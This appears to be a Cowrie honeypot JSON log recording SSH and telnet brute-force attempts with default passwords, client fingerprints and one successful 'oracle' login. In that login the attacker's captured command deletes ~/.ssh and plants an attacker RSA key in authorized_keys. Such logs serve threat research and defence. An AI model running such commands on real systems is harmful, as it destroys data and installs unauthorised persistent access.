{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:25.549077Z","src_ip":"31.57.216.40","session":"6f8153b64741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:25.762773Z","src_ip":"31.57.216.40","session":"6f8153b64741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":35170,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9da7a70dc1e","protocol":"ssh","message":"New connection: 47.239.15.75:35170 (159.203.135.109:22) [session: d9da7a70dc1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:26.573061Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:26.871008Z","src_ip":"31.57.216.40","session":"6f8153b64741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.426161766052246,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:31.069615Z","src_ip":"157.49.98.75","session":"f81c47d18326","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:32.708588Z","src_ip":"47.239.15.75","session":"d9da7a70dc1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.4846293926239,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:33.193914Z","src_ip":"45.58.127.90","session":"0da52c3dce45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43972,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7820cf340e7","protocol":"telnet","message":"New connection: 45.58.127.90:43972 (10.17.0.5:23) [session: b7820cf340e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:38.387354Z"}
{"eventid":"cowrie.session.closed","duration":1.3782958984375,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:39.765517Z","src_ip":"45.58.127.90","session":"b7820cf340e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.6659255027771,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:50.634056Z","src_ip":"45.58.127.90","session":"c0e48460ebcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":58466,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbbb9a4cd9eb","protocol":"ssh","message":"New connection: 98.70.48.241:58466 (159.203.135.109:22) [session: cbbb9a4cd9eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:56.198284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:56.203510Z","src_ip":"98.70.48.241","session":"cbbb9a4cd9eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:56.398228Z","src_ip":"98.70.48.241","session":"cbbb9a4cd9eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12344321","message":"login attempt [admin/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:57.205845Z","src_ip":"98.70.48.241","session":"cbbb9a4cd9eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:58.403156Z","src_ip":"98.70.48.241","session":"cbbb9a4cd9eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.641348361968994,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:00.270208Z","src_ip":"45.58.127.90","session":"4ef033b4e1c5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:01.522330Z","src_ip":"47.239.15.75","session":"d9da7a70dc1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:06.789595Z","src_ip":"47.239.15.75","session":"7f42a77ce908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:08.910745Z","src_ip":"47.239.15.75","session":"015a407bbfda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52486,"dst_ip":"10.17.0.5","dst_port":23,"session":"8349127b2998","protocol":"telnet","message":"New connection: 45.58.127.90:52486 (10.17.0.5:23) [session: 8349127b2998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:10.229959Z"}
{"eventid":"cowrie.session.closed","duration":3.0775201320648193,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:13.307352Z","src_ip":"45.58.127.90","session":"8349127b2998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45490,"dst_ip":"10.17.0.5","dst_port":23,"session":"e18f0b00cd95","protocol":"telnet","message":"New connection: 45.58.127.90:45490 (10.17.0.5:23) [session: e18f0b00cd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:15.902138Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37510,"dst_ip":"10.17.0.5","dst_port":23,"session":"9285f4d347f9","protocol":"telnet","message":"New connection: 45.58.127.90:37510 (10.17.0.5:23) [session: 9285f4d347f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:48.181468Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":53248,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c9eddbab6ff","protocol":"ssh","message":"New connection: 98.70.48.241:53248 (159.203.135.109:22) [session: 2c9eddbab6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:51.872366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:51.877655Z","src_ip":"98.70.48.241","session":"2c9eddbab6ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:52.062366Z","src_ip":"98.70.48.241","session":"2c9eddbab6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.91217803955078,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:52.814188Z","src_ip":"45.58.127.90","session":"e18f0b00cd95","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"asshole","message":"login attempt [debian/asshole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:52.829701Z","src_ip":"98.70.48.241","session":"2c9eddbab6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:15:54.018022Z","src_ip":"98.70.48.241","session":"2c9eddbab6ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":43056,"dst_ip":"159.203.135.109","dst_port":22,"session":"b90f41f5f66b","protocol":"ssh","message":"New connection: 47.239.15.75:43056 (159.203.135.109:22) [session: b90f41f5f66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:12.377809Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:12.914291Z","src_ip":"47.239.15.75","session":"b90f41f5f66b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.20.74.18","src_port":58576,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b67e627713","protocol":"telnet","message":"New connection: 187.20.74.18:58576 (159.203.135.109:23) [session: 61b67e627713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:13.139592Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:26.579476Z","src_ip":"47.239.15.75","session":"d9da7a70dc1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47402,"dst_ip":"10.17.0.5","dst_port":23,"session":"ada403fdd5ba","protocol":"telnet","message":"New connection: 45.58.127.90:47402 (10.17.0.5:23) [session: ada403fdd5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:27.128593Z"}
{"eventid":"cowrie.session.closed","duration":39.14308190345764,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:27.324446Z","src_ip":"45.58.127.90","session":"9285f4d347f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48698,"dst_ip":"10.17.0.5","dst_port":23,"session":"07977c9a8040","protocol":"telnet","message":"New connection: 45.58.127.90:48698 (10.17.0.5:23) [session: 07977c9a8040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:29.141060Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43440,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a352d387a2","protocol":"telnet","message":"New connection: 147.182.143.59:43440 (159.203.135.109:23) [session: 75a352d387a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:49.688763Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":52276,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d91a19e63ea","protocol":"ssh","message":"New connection: 98.70.48.241:52276 (159.203.135.109:22) [session: 2d91a19e63ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:52.605450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:52.610487Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:52.800468Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle2024","message":"login attempt [oracle/Oracle2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:53.588290Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:54.017481Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:54.020829Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:54.025122Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:54.219214Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:54.648841Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:54.652702Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:54.850591Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:54.856437Z","src_ip":"98.70.48.241","session":"2d91a19e63ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":52278,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a96915d352","protocol":"ssh","message":"New connection: 98.70.48.241:52278 (159.203.135.109:22) [session: 21a96915d352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:55.037983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:16:55.044428Z","src_ip":"98.70.48.241","session":"21a96915d352","protocol":"ssh"}
